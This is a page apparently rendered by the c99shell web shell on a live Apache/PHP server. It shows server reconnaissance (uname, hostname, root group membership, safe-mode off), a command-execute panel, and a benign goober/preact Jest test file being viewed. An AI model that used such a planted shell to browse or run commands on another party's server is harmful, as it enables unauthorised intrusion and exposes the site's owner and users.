Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/rentals.picotech.app/public_html/node_modules/goober/global/src/__tests__/ drwxr-xr-x | |
| Viewing file: Select action/file-type: import { h, createContext, render } from 'preact';
import { useContext } from 'preact/hooks';
import { setup, extractCss } from 'goober';
import { createGlobalStyles } from '../index';
describe('createGlobalStyles', () => {
it('regular', () => {
setup(h);
const target = document.createElement('div');
const GlobalStyle = createGlobalStyles`
html, body {
background: dodgerblue;
}
`;
render(
<div>
<GlobalStyle />
</div>,
target
);
expect(extractCss()).toMatchSnapshot();
expect(target.innerHTML).toMatchSnapshot();
});
it('with theme', () => {
const ThemeContext = createContext();
const useTheme = () => useContext(ThemeContext);
setup(h, null, useTheme);
const target = document.createElement('div');
const GlobalStyle = createGlobalStyles`
html, body {
margin: 0;
background: ${(props) => props.theme.color};
}
`;
render(
<ThemeContext.Provider value={{ color: 'blue' }}>
<div>
<GlobalStyle />
</div>
</ThemeContext.Provider>,
target
);
expect(extractCss()).toMatchSnapshot();
expect(target.innerHTML).toMatchSnapshot();
});
});
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]-- |